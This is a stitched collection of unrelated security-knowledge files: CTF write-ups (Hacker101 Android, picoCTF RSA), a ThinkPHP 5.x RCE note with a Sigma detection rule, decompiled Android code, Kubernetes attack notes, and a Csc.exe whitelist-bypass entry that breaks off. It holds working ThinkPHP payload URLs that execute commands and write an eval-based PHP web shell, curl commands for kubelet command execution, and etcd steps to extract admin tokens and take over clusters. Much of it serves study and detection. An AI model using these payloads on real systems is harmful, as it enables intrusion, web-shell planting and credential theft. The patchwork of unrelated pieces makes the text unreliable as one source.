[从upload-labs总结上传漏洞及其绕过](http://poetichacker.com/writeup/%E4%BB%8Eupload-labs%E6%80%BB%E7%BB%93%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%8F%8A%E5%85%B6%E7%BB%95%E8%BF%87.html)
sec-knowleage
# Intentional Exercise - FLAG0 ## 0x00 App Home On app load, a request is sening to server and got an flag link. ![](./imgs/home.jpg) However, the result shows invalid request ![](./imgs/invalid.jpg) ## 0x01 Mutate Request It is a practice to modify all the HTTP parameters you can reach. It seems always send the same link no matter what parameter I send in request. ![](./imgs/request.jpg) But the second request needs more data. ![](./imgs/flagbearer.jpg) After adding the parameter **hash**, it shows a diffeerent response. ![](./imgs/invalid_hash.jpg) ## 0x02 Check Source As we have the **apk** file, we may check inside of it. ### Dex to Jar Use [dex2jar][1] to convert to **jar**. ```batch d2j-dex2jar.bat -f ./level13.apk ``` So we got **level13-dex2jar.jar** now. ### Decompile Use [jd-gui][1] to chek inside of the **jar**. ![](./imgs/source.jpg) ## 0x03 Code Review The full source can be found at [MainActivity.java][3] ```java MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); messageDigest.update("s00p3rs3cr3tk3y".getBytes(StandardCharsets.UTF_8)); messageDigest.update(str3.getBytes(StandardCharsets.UTF_8)); byte[] arrayOfByte = messageDigest.digest(); ``` The request hash is generated with the secret key **s00p3rs3cr3tk3y** and the message payload **str3** with **SHA-256** However, the first request [hash][4] is just the secret key without any payload. http://127.0.0.1/xxxxxxxxxx/appRoot?&hash=61f4518d844a9bd27bb971e55a23cd6cf3a9f5ef7f46285461cf6cf135918a1a ``` SHA-256(s00p3rs3cr3tk3y) = 61f4518d844a9bd27bb971e55a23cd6cf3a9f5ef7f46285461cf6cf135918a1a ``` ## 0x04 Get Hash There is another piece of code shows the hint. ```java Uri uri = getIntent().getData(); str3 = uri.toString().substring(28); ``` and ```xml <data android:scheme="http" android:host="level13.hacker101.com" /> ``` So the payload string after the index of 28 should be ```java "http://level13.hacker101.com".substring(28); ``` | uri | payload | | ------------------ | ----------- | | /appRoot | null | | /appRoot/flagBeare | /flagBearer | So we need to encrypt **/flagBearer** with secret key **s00p3rs3cr3tk3y** for this hash. Try use this online [tool][5]. ``` SHA-256(s00p3rs3cr3tk3y/flagBearer) = 8743a18df6861ced0b7d472b34278dc29abba81b3fa4cf836013426d6256bd5e ``` ## 0x05 FLAG Create a new get request with the new generated hash. The server will send back FLAG. http://127.0.0.1/xxxxxxxxxx/appRoot/flagBearer?&hash=8743a18df6861ced0b7d472b34278dc29abba81b3fa4cf836013426d6256bd5e ![](./imgs/flag.jpg) [1]: https://github.com/pxb1988/dex2jar [2]: https://github.com/java-decompiler/jd-gui [3]: ./MainActivity.java [4]: https://www.cmd5.com/hash.aspx?s=s00p3rs3cr3tk3y [5]: https://www.cmd5.com/hash.aspx?s=s00p3rs3cr3tk3y/flagBearer
sec-knowleage
# T1190-Thinkphp 5.x远程命令执行漏洞检测 ## 来自ATT&CK的描述 使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。 如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。 对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。 ## CVE-2020-16875漏洞 ### 简介 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。 ### 影响版本 5.x < 5.1.31, <= 5.0.23 ## 测试案例 漏洞分析及漏洞利用可参考Thinkphp 5.x远程命令执行漏洞: <https://www.cnblogs.com/backlion/p/10106676.html> ## 检测日志 HTTP_log,访问日志也可以 ## 测试复现 1.利用system函数远程命令执行 ```yml http://localhost:9096/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami ``` 2.通过phpinfo函数写出phpinfo()的信息 ```yml http://localhost:9096/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ``` 3.写入shell: ```yml http://localhost:9096/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php ``` 或者 ```yml http://localhost:9096/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?> ``` ## 测试留痕 暂无 ## 检测规则/思路 ### sigma规则 ```yml title: Thinkphp 5.x远程命令执行漏洞 description: 通过访问日志orHttp.log检测Thinkphp 5.x远程命令执行漏洞利用行为 translator: 12306Bro date: 2020/12/12 status: experimental references: - https://www.cnblogs.com/backlion/p/10106676.html logsource: category: webserver detection: selection: c-uri: - '/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array' condition: selection fields: - c-ip - c-dns falsepositives: - Unknown level: critical ``` ## 备注 在具体业务场景下遇到,特记录。可以根据具体payload来判断是否为真实攻击。 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> Thinkphp 5.x远程命令执行漏洞: <https://www.cnblogs.com/backlion/p/10106676.html>
sec-knowleage
# Micro-CMS v2 - FLAG1 ## 0x00 Index ![](../flag0/imgs/index.jpg) ## 0x01 Edit Try edit page with normal user. ``` http://127.0.0.1:5001/xxxxxxxxxx/page/edit/1 ``` ### GET Also redirect to log in page. ![](./imgs/get.jpg) ### POST (FLAG) ![](./imgs/post.jpg)
sec-knowleage
package com.p020a.multicheck; import android.os.Bundle; import android.support.v7.app.C0326c; import android.view.View; import android.view.View.OnClickListener; import android.widget.EditText; import android.widget.Toast; import com.a.multicheck.R; import dalvik.system.DexClassLoader; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class MainActivity extends C0326c { private String f1763l; static { System.loadLibrary("check"); } private void m2541i() { FileOutputStream fileOutputStream; InputStream inputStream = null; File file = new File(getFilesDir().getAbsolutePath()); if (!file.exists()) { file.mkdirs(); } File file2 = new File(file, "claz.dex"); try { InputStream open = getAssets().open("claz.dex"); try { fileOutputStream = new FileOutputStream(file2); try { byte[] bArr = new byte[1024]; while (true) { int read = open.read(bArr); if (read <= 0) { break; } fileOutputStream.write(bArr, 0, read); } open.close(); fileOutputStream.close(); } catch (Exception e) { inputStream = open; if (inputStream != null) { try { inputStream.close(); } catch (IOException e2) { e2.printStackTrace(); } } if (fileOutputStream != null) { try { fileOutputStream.close(); } catch (IOException e3) { e3.printStackTrace(); } } this.f1763l = file2.getAbsolutePath(); } } catch (Exception e4) { fileOutputStream = null; inputStream = open; if (inputStream != null) { inputStream.close(); } if (fileOutputStream != null) { fileOutputStream.close(); } this.f1763l = file2.getAbsolutePath(); } } catch (Exception e5) { fileOutputStream = null; if (inputStream != null) { inputStream.close(); } if (fileOutputStream != null) { fileOutputStream.close(); } this.f1763l = file2.getAbsolutePath(); } this.f1763l = file2.getAbsolutePath(); } protected void onCreate(Bundle bundle) { ReflectiveOperationException e; final EditText editText; Method method = null; super.onCreate(bundle); setContentView((int) R.layout.activity_main); m2541i(); String str = getFilesDir().getAbsolutePath() + File.separator + "out"; File file = new File(str); if (!file.exists()) { file.mkdirs(); } DexClassLoader dexClassLoader = new DexClassLoader(this.f1763l, str, null, getClassLoader()); new File(this.f1763l).delete(); try { method = dexClassLoader.loadClass("com.a.Check").getMethod("check", new Class[]{String.class}); } catch (ClassNotFoundException e2) { e = e2; e.printStackTrace(); editText = (EditText) findViewById(R.id.edit_text); findViewById(R.id.button).setOnClickListener(new OnClickListener(this) { final /* synthetic */ MainActivity f1762d; public void onClick(View view) { try { if (((Boolean) method.invoke(null, new Object[]{editText.getText().toString()})).booleanValue()) { Toast.makeText(this, "YES, you get it~", 0).show(); return; } } catch (IllegalAccessException e) { } catch (InvocationTargetException e2) { } Toast.makeText(this, "Sorry, you are wrong", 0).show(); } }); } catch (NoSuchMethodException e3) { e = e3; e.printStackTrace(); editText = (EditText) findViewById(R.id.edit_text); findViewById(R.id.button).setOnClickListener(/* anonymous class already generated */); } editText = (EditText) findViewById(R.id.edit_text); findViewById(R.id.button).setOnClickListener(/* anonymous class already generated */); } }
sec-knowleage
# Super Safe RSA 2 Cryptography, 425 points ## Description: > Wow, he made the exponent really large so the encryption MUST be safe, right?! ## Solution: After connecting to the server, we receive a response similar to the the following: ```console root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_2# nc 2018shell3.picoctf.com 56543 c: 3213081539808298113212954397369154269136228949084984834809140756426366645605884138817285347200894595253703261889429802167949745053449213128261224838659810795610445070887756328273592631010583653370300618261301719293385198663490438697089769434751512369205040349000058315454573913611128217332674385161736097955 n: 57838579222438915476194378620295658400897448584604803316548115586651184591389419803450570655256844957053972459199598788710492189790363014148039135868828759907254959902953471862672255287816030976941567062923372608220677874619750208841977791831433997030010114494949942515178383403566835967585096552443891341599 e: 20371514170492355248744905041309255578801528993979472282159393199058078549873231568778697871969936862286599116158877257729287138821291018136002370771627842497067252338041465396712532764276415723004335909608894889324417877884793219720000953348417396822780277932959880910071243244399088903977960710315151546097 ``` We'll solve the challenge with [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool). First, we create a public key from n and e: ```console root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_2# ~/utils/RsaCtfTool/RsaCtfTool.py --createpub --n 57838579222438915476194378620295658400897448584604803316548115586651184591389419803450570655256844957053972459199598788710492189790363014148039135868828759907254959902953471862672255287816030976941567062923372608220677874619750208841977791831433997030010114494949942515178383403566835967585096552443891341599 --e 20371514170492355248744905041309255578801528993979472282159393199058078549873231568778697871969936862286599116158877257729287138821291018136002370771627842497067252338041465396712532764276415723004335909608894889324417877884793219720000953348417396822780277932959880910071243244399088903977960710315151546097 > key.pub root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_2# cat key.pub -----BEGIN PUBLIC KEY----- MIIBHjANBgkqhkiG9w0BAQEFAAOCAQsAMIIBBgKBgFJdaCxlX7nVDA9fq7Ob11Bd BMhoarCtX4uNz6wF0QeSwkgv3DLKABcrDxsAwWxIPOjYZNCABBywgckh4sjSgcuQ lhopuZ5BbVM8QzvpZJ1QgFt4WzfeML711/ridh62ETwWzSbamfO9gX5wE9466tD0 pKrAQ9QLygxTTvrtOtkfAoGAHQKPTYvLIp36aHPO+yz5snGA3MGCSoZWL8YcDj/i NuOnEFvjF/R0AbUF1gH3Hpd29KA7KgDc8entXJVV1lvmoRESoqq/aC7lDqOJTLc7 KMcjbGPoS3WOiHAy5oGPqLDKJq7f3z3LxNYPVJc9L1Cb5Dildm4eVnb2pfCQVxWt VvE= -----END PUBLIC KEY----- ``` We check the RsaCtfTool can crack the private key: ```console root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_2# ~/utils/RsaCtfTool/RsaCtfTool.py --publickey key.pub --private > key.priv root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_2# cat key.priv -----BEGIN RSA PRIVATE KEY----- MIIB4AIBAAKBgFJdaCxlX7nVDA9fq7Ob11BdBMhoarCtX4uNz6wF0QeSwkgv3DLK ABcrDxsAwWxIPOjYZNCABBywgckh4sjSgcuQlhopuZ5BbVM8QzvpZJ1QgFt4Wzfe ML711/ridh62ETwWzSbamfO9gX5wE9466tD0pKrAQ9QLygxTTvrtOtkfAoGAHQKP TYvLIp36aHPO+yz5snGA3MGCSoZWL8YcDj/iNuOnEFvjF/R0AbUF1gH3Hpd29KA7 KgDc8entXJVV1lvmoRESoqq/aC7lDqOJTLc7KMcjbGPoS3WOiHAy5oGPqLDKJq7f 3z3LxNYPVJc9L1Cb5Dildm4eVnb2pfCQVxWtVvECAwEAAQJBAI2jxQtLNY+u0bgk Q8MuEyseRqsx9h3MgV9nxSNi8/SN3kwWhGJ2vl5L0noMjDByJ9qG+qKTOmlkUESK C9bdNDkCQQCU3dFwKrPn+T70uP19LKLDcQOhOXSz2TBknc5P5ENLRNgvc9uk4EsC 3njAE4OHUy1FhwBtIg9HMx54vwP7RGgXAgMBAAECAwEAAQJAf2GGSwhjPTGjcCtV QpNENLysbM6Uqj7JrD8wgh6lm6Kc6l2FAPFeSckRZwd62KdooIIcfi/NxcIAfYLO snB9Ig== -----END RSA PRIVATE KEY----- `` We save c as a binary file: ```console root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_2# c=3213081539808298113212954397369154269136228949084984834809140756426366645605884138817285347200894595253703261889429802167949745053449213128261224838659810795610445070887756328273592631010583653370300618261301719293385198663490438697089769434751512369205040349000058315454573913611128217332674385161736097955 root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_2# echo "obase=16; $c" | BC_LINE_LENGTH=0 bc | awk '{ print (length($0) % 2 == 0) ? $0 : 0$0; }' | xxd -p -r > c.bin root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_2# xxd c.bin 00000000: 0493 5935 df50 2c5c bcee 0261 abdf 0b77 ..Y5.P,\...a...w 00000010: 0a2d 6c8b eec1 5fc9 2e8a 4dbd 0d31 6419 .-l..._...M..1d. 00000020: 0266 cbe0 fdc5 31a5 6f9a 4fbb 27dc 7418 .f....1.o.O.'.t. 00000030: 593d 4fec 22b8 f818 23b1 af12 e9c0 1959 Y=O."...#......Y 00000040: 45fa 1005 340a e7ee 3d90 a0d6 d14f 636f E...4...=....Oco 00000050: fc32 66da 38e8 303f d0a8 5bad f10a 0baa .2f.8.0?..[..... 00000060: e882 d7b2 59eb ac94 d628 3e0a 57b2 173f ....Y....(>.W..? 00000070: fdb6 2baa b7aa cedd eedb 1f50 8a63 10a3 ..+........P.c.. ``` Finally, we run RsaCtfTool to decrypt the ciphertext: ```console root@kali:/media/sf_CTFs/pico/Super_Safe_RSA_2# ~/utils/RsaCtfTool/RsaCtfTool.py --publickey key.pub --private --uncipher c.bin -----BEGIN RSA PRIVATE KEY----- MIIB4AIBAAKBgFJdaCxlX7nVDA9fq7Ob11BdBMhoarCtX4uNz6wF0QeSwkgv3DLK ABcrDxsAwWxIPOjYZNCABBywgckh4sjSgcuQlhopuZ5BbVM8QzvpZJ1QgFt4Wzfe ML711/ridh62ETwWzSbamfO9gX5wE9466tD0pKrAQ9QLygxTTvrtOtkfAoGAHQKP TYvLIp36aHPO+yz5snGA3MGCSoZWL8YcDj/iNuOnEFvjF/R0AbUF1gH3Hpd29KA7 KgDc8entXJVV1lvmoRESoqq/aC7lDqOJTLc7KMcjbGPoS3WOiHAy5oGPqLDKJq7f 3z3LxNYPVJc9L1Cb5Dildm4eVnb2pfCQVxWtVvECAwEAAQJBAI2jxQtLNY+u0bgk Q8MuEyseRqsx9h3MgV9nxSNi8/SN3kwWhGJ2vl5L0noMjDByJ9qG+qKTOmlkUESK C9bdNDkCQQCU3dFwKrPn+T70uP19LKLDcQOhOXSz2TBknc5P5ENLRNgvc9uk4EsC 3njAE4OHUy1FhwBtIg9HMx54vwP7RGgXAgMBAAECAwEAAQJAf2GGSwhjPTGjcCtV QpNENLysbM6Uqj7JrD8wgh6lm6Kc6l2FAPFeSckRZwd62KdooIIcfi/NxcIAfYLO snB9Ig== -----END RSA PRIVATE KEY----- [+] Clear text : picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_4137999} ``` The flag: picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_4137999}
sec-knowleage
# Kubernetes kubernetes,简称 K8s,是 Google 开源的一个容器编排引擎,它支持自动化部署、大规模可伸缩、应用容器化管理。在生产环境中部署一个应用程序时,通常要部署该应用的多个实例以便对应用请求进行负载均衡。 > 官网 : https://kubernetes.io/ > Fofa : app="kubernetes" **kubectl使用** - [kubectl](../../../../Integrated/Linux/Power-Linux.md#kubectl) **相关文章** - [K8s安全入门学习扫盲贴](https://tttang.com/archive/1465/) - [云安全 | k8s 所面临的风险学习](https://mp.weixin.qq.com/s/UAtvPnduvZ_tcmdn_RupCg) - [3种攻击手段教你拿下k8s集群](https://mp.weixin.qq.com/s/KBuU0JLgr20wAenzGAHjlQ) - [K8s 安全策略最佳实践](https://mp.weixin.qq.com/s/ZDqchROixZT4enVYH6UIfw) - [kubernetes集群渗透测试](https://www.freebuf.com/vuls/196993.html) - [华为云CTF cloud非预期解之k8s渗透实战](https://www.cnblogs.com/backlion/p/15824545.html) - [浅谈云上攻防——Etcd风险剖析](https://cloud.tencent.com/developer/article/1988635) - [浅析K8S各种未授权攻击方法](https://www.freebuf.com/articles/web/333225.html) **相关案例** - [Cloudflare Pages, part 3: The return of the secrets](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) --- ## 未授权 **Kubernetes Api Server 未授权访问** - 漏洞描述 Kubernetes API Server 可以在两个端口上提供了对外服务:8080(insecure-port,非安全端口)和 6443(secure-port,安全端口),其中 8080 端口提供 HTTP 服务且无需身份认证,6443 端口提供 HTTPS 服务且支持身份认证 (8080 和 6443 端口并不是固定的,是通过配置文件来控制的)。 如果 8080 在外部环境中被暴露出来,攻击者便可以利用此端口进行对集群的攻击, 前提条件略显苛刻(配置失当 + 版本较低),首先 8080 端口服务是默认不启动的,但如果用户在 `/etc/kubernets/manifests/kube-apiserver.yaml` 中有 --insecure-port=8080 配置项,那就启动了非安全端口,有了安全风险。1.20版本后该选项已无效化. 若我们不带任何凭证的访问 API server 的 secure-port 端口,默认会被服务器标记为 system:anonymous 用户, 一般 system:anonymous 用户权限是很低的,但是如果运维人员管理失当,将 system:anonymous 用户绑定到了 cluster-admin 用户组,那么就意味着 secure-port 允许匿名用户以管理员权限向集群下达命令。 - 相关文章 - [Kubernetes Api Server 未授权访问漏洞](https://www.jianshu.com/p/e443b3171253) **Kubernetes Dashboard 未授权访问** - 漏洞描述 Kubernetes Dashboard 是一个通用的,基于 Web 的 Kubernetes 集群用户界面。它允许用户管理集群中运行的应用程序,并对其进行故障排除,以及管理集群本身。在其早期版本中(v1.10.1 之前)存在未授权访问风险,用户在按照官方文档所给方式部署完成后,默认下,需要先执行 kubectl proxy,然后才能通过本地 8001 端口访问 Dashboard。但是,如果直接将 Dashboard 端口映射在宿主机节点上,或者在执行 kubectl proxy 时指定了额外地址参数,如: ```bash kubectl proxy --address 0.0.0.0 --accept-hosts='^*$' ``` 那么所有能够访问到宿主机的用户,包括攻击者,都将能够直接访问 Dashboard。 默认情况下 Dashboard 需要登录认证,但是,如果用户在 Dashboard 的启动参数中添加了 `--enable-skip-login` 选项,那么攻击者就能够直接点击 Dashboard 界面的 “跳过” 按钮,无需登录便可直接进入 Dashboard。关于如何设置 `--enable-skip-login` ,在 v1.10.1 前,实则是无需配置的,通过在 Kubernetes Dashboard 的 Web 登录界面点击 “跳过” 按钮即可访问,也是因为这个原因,安全意识较为薄弱的用户直接将早期版本以默认的配置方式部署在互联网上使得攻击者无需花费丝毫力气就可以轻易浏览到 Kubernetes 集群的运行状态,因而在 v1.10.1 版本后,开发团队增加了显式配置的功能,需要用户在相应部署的 yaml 文件中指定 `--enable-skip-login` 参数配置才能开启未授权访问。 **kubelet 未授权访问** - 漏洞描述 kubelet 是在 Node 上用于管理本机 Pod 的,kubectl 是用于管理集群的。kubectl 向集群下达指令,Node 上的 kubelet 收到指令后以此来管理本机 Pod。 Kubelet 服务启动后会监听多个端口,用于接收 Kubernetes API Server 组件发送的请求 - 10248 : Kubelet healthz 的服务端口,用于判断 Kubelet 组件的健康状态,已于 Kubernetes v1.16 版本后弃用,访问该端口默认需要认证授权 - 10250 : Kubelet 的 HTTPS 服务,读写端口,提供 Kubernetes 基本资源运行状态, 访问该端口默认需要认证授权 - 10255 : Kubelet 的 HTTP 服务,只读端口,提供只读形式的 Kubernetes 基本资源运行状态,该端口无需进行认证授权,默认为禁用 - 4194 : cAdvisor 的 HTTP 服务端口,自 Kubernetes v1.10 版本开始,官方去除了 --cadvisor-port 参数配置,不再支持对 cAdvisor 的访问 kubelet 对应的 API 端口默认在 10250,运行在集群中每台 Node 上,kubelet 的配置文件在 node 上的 `/var/lib/kubelet/config.yaml` 配置文件中 authentication 选项用于设置 kubelet api 能否被匿名访问,authorization 选项用于设置 kubelet api 访问是否需要经过 Api server 进行授权, 如果把 authentication-anonymous-enabled 改为 true,authorization-mode 改为 AlwaysAllow,再使用命令 systemctl restart kubelet 重启 kubelet,那么就存在 kubelet 未授权访问 - POC | Payload | exp ```bash # 如果有 kubelet 未授权,可以用以下命令在 Pod 内执行命令 curl https://node_ip:10250/pods curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command" /pods /runningpods /metrics /spec /stats /stats/container /logs /run/ /exec/ /attach/ /portForward/ /containerLogs/ ``` - kubeconfig 泄露 ``` kubectl --kubeconfig=config --insecure-skip-tls-verify=true get pods --all-namespaces -o wide ``` **etcd 未授权** - 漏洞描述 etcd 是 k8s 集群中的数据库组件,默认监听在 2379 端口. 如果 2379 存在未授权,那么就可以通过 etcd 查询集群内管理员的 token,然后用这个 token 访问 api server 接管集群。 在启动 etcd 时,如果没有指定 `--client-cert-auth` 参数打开证书校验,并且没有通过iptables/防火墙等实施访问控制,etcd 的接口和数据就会直接暴露给外部黑客 " 下载 https://github.com/etcd-io/etcd/releases/ ```bash etcdctl --endpoints=https://etcd_ip:2379/ get / --prefix --keys-only # 查询管理员 token etcdctl --endpoints=https://etcd_ip:2379/ get / --prefix --keys-only | grep /secrets/ # 在 etcd 里查询管理员的 token,然后使用该 token 配合 kubectl 指令接管集群 etdctl --endpoints=https://etcd_ip:2379/ get /registry/secrets/default/admin-token-xxxxx # 拿到 token 以后,用 kubectl 接管集群 kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes # 如果要求证书文件,需要将以下文件加入环境变量才能访问(如果有未授权,那么不用带证书都能访问) export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key ``` --- ## 中间人攻击 **CVE-2020-8554** - 漏洞描述 如果攻击者可以创建或编辑服务和容器,则此安全问题使攻击者能够拦截来自群集中其他容器(或节点)的流量。攻击者可利用该漏洞通过 Kubernetes 上的 LoadBalancer 或 ExternalIP 充当中间人,以便在会话中读取或写入数据。 - 相关文章 - [CVE-2020-8554 Kubernetes中间人攻击漏洞复现与解析,附演示视频](https://mp.weixin.qq.com/s/nFMK5pLKtR2MDJFGppFypw) - POC | Payload | exp - [tdwyer/CVE-2020-8559](https://github.com/tdwyer/CVE-2020-8559) --- ## 容器逃逸 **目录挂载逃逸** - 相关文章 - https://tttang.com/archive/1465/#toc__6 **挂载 /var/log 导致容器逃逸** - 漏洞描述 当 pod 以可写权限挂载了宿主机的 `/var/log` 目录,而且 pod 里的 service account 有权限访问该 pod 在宿主机上的日志时,攻击者可以通过在容器内创建符号链接来完成简单逃逸。 - 相关文章 - [挂载/var/log导致容器逃逸](https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-var-log) **滥用CAP_DAC_READ_SEARCH(shocker攻击)导致容器逃逸** - 漏洞描述 在早期的 docker 中,容器内是默认拥有 CAP_DAC_READ_SEARCH 的权限的,拥有该 capability 权限之后,容器内进程可以使用 open_by_handle_at 系统调用来爆破宿主机的文件内容。 - 相关文章 - [滥用CAP_DAC_READ_SEARCH(shocker攻击)导致容器逃逸](https://github.com/Metarget/metarget/tree/master/writeups_cnv/config-cap_dac_read_search-container) ```bash ./metarget cnv install cap_dac_read_search-container kubectl exec -it cap-dac-read-search-container -n metarget bash ``` **CVE-2017-1002101** - 漏洞描述 Kubernetes 在宿主机文件系统上解析了 Pod 滥用 subPath 机制创建的符号链接,故而宿主机上任意路径(如根目录)能够被挂载到攻击者可控的恶意容器中,导致容器逃逸。 - 相关文章 - [CVE-2017-1002101:突破隔离访问宿主机文件系统](https://github.com/Metarget/cloud-native-security-book/blob/main/appendix/CVE-2017-1002101%EF%BC%9A%E7%AA%81%E7%A0%B4%E9%9A%94%E7%A6%BB%E8%AE%BF%E9%97%AE%E5%AE%BF%E4%B8%BB%E6%9C%BA%E6%96%87%E4%BB%B6%E7%B3%BB%E7%BB%9F.pdf) **CVE-2021-25741** - 相关文章 - [逃逸风云再起:从CVE-2017-1002101到CVE-2021-25741](https://mp.weixin.qq.com/s/RqaWvzXZR6sLPzBI8ljoxg) **CVE-2021-30465** - 漏洞描述 该漏洞是由于挂载卷时,runC 不信任目标参数,并将使用 “filepath-securejoin” 库来解析任何符号链接并确保解析的目标在容器根目录中,但是如果用符号链接替换检查的目标文件时,可以将主机文件挂载到容器中。黑客可利用该漏洞能将宿主机目录挂载到容器中,来实现容器逃逸。 - 相关文章 - [CVE-2021-30465——runc竞争条件漏洞复现与分析](https://mp.weixin.qq.com/s/WRRjLKk_C9pq2WlvnA-NZQ) - [runC漏洞导致容器逃逸(CVE-2021-30465)](https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-runc-cve-2021-30465) **CVE-2022-0811 容器逃逸漏洞** - 漏洞描述 CrowdStrike 的云威胁研究团队在 CRI-O(一个支撑 Kubernetes 的容器运行时引擎) 中发现了一个新的漏洞 (CVE-2022-0811),被称为 “cr8escape”。攻击者在创建容器时可以从 Kubernetes 容器中逃离,并获得对主机的根访问权,从而可以在集群中的任何地方移动。调用 CVE-2022-0811 可以让攻击者对目标执行各种操作,包括执行恶意软件、数据外溢和跨 pod 的横向移动。 - 影响范围 CRI-O > 1.19.0 - 相关文章 - [谁动了我的core_pattern?CVE-2022-0811容器逃逸漏洞分析](https://mp.weixin.qq.com/s/i6KicVePNYyQPwYZIwkS8w) - [Kubernetes CRI-O逃逸CVE-2022-0811漏洞复现](https://mp.weixin.qq.com/s/0kc8uJXj7uCId3HR2FAGYA) --- ## 提权 **CVE-2018-1002105** - 漏洞描述 Kubernetes 特权升级漏洞(CVE-2018-1002105)由 Rancher Labs 联合创始人及首席架构师 Darren Shepherd 发现。该漏洞通过经过详细分析评估,主要可以实现提升 k8s 普通用户到 k8s api server 的权限(默认就是最高权限),注意点是,普通用户至少需要具有一个 pod 的 exec/attach/portforward 等权限。 - 相关文章 - [CVE-2018-1002105(k8s特权提升)原理与利用分析报告](https://xz.aliyun.com/t/3542) - [云安全 | k8s 提权漏洞 CVE-2018-1002105 学习](https://mp.weixin.qq.com/s/XwfNYEYRClJQswgwScJyyQ) - POC | Payload | exp - [evict/poc_CVE-2018-1002105](https://github.com/evict/poc_CVE-2018-1002105) - [gravitational/cve-2018-1002105](https://github.com/gravitational/cve-2018-1002105) **CVE-2020-8559** - 漏洞描述 CVE-2020-8559 是一个针对 Kubernetes 的权限提升漏洞,攻击者可以截取某些发送至节点 kubelet 的升级请求,通过请求中原有的访问凭据转发请求至其他目标节点,从而造成节点的权限提升. - 相关文章 - [移花接木:看CVE-2020-8559如何逆袭获取集群权限](https://mp.weixin.qq.com/s/MgTRc7gu0-jwnpzzKsrCiw) --- ## 横向 **利用 Service Account 连接 API Server 执行指令** - https://tttang.com/archive/1465/#toc_service-accountapi-server k8s 有两种账户:用户账户和服务账户,用户账户被用于人与集群交互(如管理员管理集群),服务账户用于 Pod 与集群交互(如 Pod 调用 api server 提供的一些 API 进行一些活动) 如果我们入侵了一台有着高权限服务账户的 Pod,我们就可以用它对应的服务账户身份调用 api server 向集群下达命令。 pod 的 serviceaccount 信息一般存放于 `/var/run/secrets/kubernetes.io/serviceaccount/` 目录下 ```bash CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" "https://api_server_ip:6443/version/" ``` --- ## DOS **相关文章** - [【云攻防系列】云原生中DOS攻击研究](https://mp.weixin.qq.com/s/3MAb2K8ZTUomUA5eyGGk6w)
sec-knowleage
# T1027-004-win-基于白名单Csc.exe执行payload ## 来自ATT&CK的描述 许多软件开发相关的实用程序可用于执行各种形式的代码用于协助开发、调试和逆向工程。这些实用程序通常可以使用合法证书进行签名。签名后,它们就可以在系统上执行。通过可信的进程代理执行恶意代码,从而有效地绕过应用白名单防御解决方案。 ## 测试案例 C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便,你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单,打开命令提示符,并切换到存放 test.cs文件的目录中,输入下列行命令:csc /target:exe test.cs 将Ttest.cs 编译成名为 test.exe 的 console 应用程序 说明:Csc.exe所在路径没有被系统添加PATH环境变量中,因此,csc命令无法识别。 补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。 win7默认位置: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe ## 检测日志 windows 安全日志(需要自行配置) ## 测试复现 ### 环境准备 攻击机:Kali2019 